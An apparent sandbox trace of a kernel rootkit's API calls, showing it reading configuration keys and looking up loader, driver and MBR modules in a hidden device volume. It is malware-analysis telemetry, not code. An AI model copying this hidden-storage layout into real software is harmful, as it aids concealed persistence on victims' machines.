0xfffffa80039d7d20 [0120.073] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.073] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.073] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0120.073] IdePortDispatch () returned 0x103 [0120.073] KeWaitForMutexObject () returned 0x0 [0120.073] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.073] KeLeaveCriticalRegion () [0120.073] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.074] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.074] KeEnterCriticalRegion () [0120.074] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.074] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0120.074] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.074] KeLeaveCriticalRegion () [0120.074] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.074] KeEnterCriticalRegion () [0120.074] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.074] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0120.074] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bdbb70, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0120.074] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.074] KeLeaveCriticalRegion () [0120.074] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.074] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.074] KeEnterCriticalRegion () [0120.074] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.074] ExFreePoolWithTag (P=0xfffffa8003bc2de0, Tag=0x0) [0120.074] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.074] KeLeaveCriticalRegion () [0120.074] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.074] ReleaseMutex (hMutex=0xf0) returned 1 [0120.074] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0120.074] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0120.074] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.074] KeEnterCriticalRegion () [0120.074] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.074] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.075] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0120.075] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0120.075] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0120.075] IdePortDispatch () returned 0x103 [0120.075] KeWaitForMutexObject () returned 0x0 [0120.075] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.075] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.075] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.075] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0120.075] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0120.075] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bc2b90 [0120.075] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.075] KeLeaveCriticalRegion () [0120.075] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.075] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.075] KeEnterCriticalRegion () [0120.075] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.075] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0120.075] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.075] KeLeaveCriticalRegion () [0120.075] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.075] KeEnterCriticalRegion () [0120.075] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.075] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.075] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0120.075] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0120.075] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0120.075] IdePortDispatch () returned 0x103 [0120.076] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.076] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.076] KeLeaveCriticalRegion () [0120.076] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.076] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.076] KeEnterCriticalRegion () [0120.076] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.076] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c8e000 [0120.076] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.076] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.076] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.076] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0120.076] IdePortDispatch () returned 0x103 [0120.076] KeWaitForMutexObject () returned 0x0 [0120.077] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.077] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.077] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.077] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.077] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0120.077] IdePortDispatch () returned 0x103 [0120.077] KeWaitForMutexObject () returned 0x0 [0120.077] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.077] KeLeaveCriticalRegion () [0120.077] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.077] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.077] KeEnterCriticalRegion () [0120.077] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.077] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0120.077] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.077] KeLeaveCriticalRegion () [0120.077] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.077] KeEnterCriticalRegion () [0120.077] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.078] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0120.078] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bc2900, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0120.078] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.078] KeLeaveCriticalRegion () [0120.078] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.078] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.078] KeEnterCriticalRegion () [0120.078] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.078] ExFreePoolWithTag (P=0xfffffa8003bc2b90, Tag=0x0) [0120.078] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.078] KeLeaveCriticalRegion () [0120.078] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.078] ReleaseMutex (hMutex=0xf0) returned 1 [0120.078] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0120.078] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0120.078] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0120.078] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0120.078] KeEnterCriticalRegion () [0120.078] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.078] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.078] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0120.078] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0120.078] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0120.078] IdePortDispatch () returned 0x103 [0120.078] KeWaitForMutexObject () returned 0x0 [0120.078] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0120.078] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0120.078] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0120.078] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0120.078] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0120.078] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0120.078] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0120.078] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0120.078] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0120.078] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0120.078] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.078] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.078] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.079] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.079] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.079] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.079] KeLeaveCriticalRegion () [0120.079] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.079] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0120.079] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0120.079] KeEnterCriticalRegion () [0120.079] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.079] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.079] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0120.079] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0120.079] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0120.079] IdePortDispatch () returned 0x103 [0120.079] KeWaitForMutexObject () returned 0x0 [0120.079] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0120.079] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0120.079] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0120.079] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0120.079] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0120.079] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0120.079] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0120.079] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0120.079] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0120.079] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0120.079] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.079] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.079] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.079] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.079] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.079] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.079] KeLeaveCriticalRegion () [0120.079] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.079] ReleaseMutex (hMutex=0x100) returned 1 [0120.079] Sleep (dwMilliseconds=0x2bf20) [0120.086] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6ac63090, dwHighDateTime=0x1d24fa4)) [0120.086] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0120.086] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0120.086] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0120.086] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.086] KeEnterCriticalRegion () [0120.086] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.086] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.086] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0120.086] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0120.086] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0120.086] IdePortDispatch () returned 0x103 [0120.086] KeWaitForMutexObject () returned 0x0 [0120.086] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.086] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.086] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.086] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0120.086] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0120.086] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bc2e30 [0120.086] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.086] KeLeaveCriticalRegion () [0120.086] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.087] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.087] KeEnterCriticalRegion () [0120.087] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.087] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0120.087] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.087] KeLeaveCriticalRegion () [0120.087] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.087] KeEnterCriticalRegion () [0120.087] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.087] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.087] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0120.087] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0120.087] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0120.087] IdePortDispatch () returned 0x103 [0120.087] KeWaitForMutexObject () returned 0x0 [0120.087] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.087] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.087] KeLeaveCriticalRegion () [0120.087] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.087] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.087] KeEnterCriticalRegion () [0120.087] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.087] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002dbe000 [0120.087] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.087] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.087] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.087] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0120.087] IdePortDispatch () returned 0x103 [0120.087] KeWaitForMutexObject () returned 0x0 [0120.088] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.088] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.088] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.088] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.088] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0120.088] IdePortDispatch () returned 0x103 [0120.088] KeWaitForMutexObject () returned 0x0 [0120.088] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.088] KeLeaveCriticalRegion () [0120.088] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.088] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.088] KeEnterCriticalRegion () [0120.088] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.088] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0120.088] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.088] KeLeaveCriticalRegion () [0120.088] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.089] KeEnterCriticalRegion () [0120.089] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.089] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0120.089] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bcd9d0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0120.089] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.089] KeLeaveCriticalRegion () [0120.089] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.089] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.089] KeEnterCriticalRegion () [0120.089] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.089] ExFreePoolWithTag (P=0xfffffa8003bc2e30, Tag=0x0) [0120.089] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.089] KeLeaveCriticalRegion () [0120.089] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.089] ReleaseMutex (hMutex=0xf0) returned 1 [0120.089] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0120.089] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0120.089] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.089] KeEnterCriticalRegion () [0120.089] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.089] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.089] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0120.089] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0120.089] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0120.089] IdePortDispatch () returned 0x103 [0120.089] KeWaitForMutexObject () returned 0x0 [0120.089] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.089] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.089] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.089] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0120.089] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0120.089] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bcd620 [0120.089] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.089] KeLeaveCriticalRegion () [0120.089] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.089] _snprintf (in: _Dest=0xfffff880028b2780, 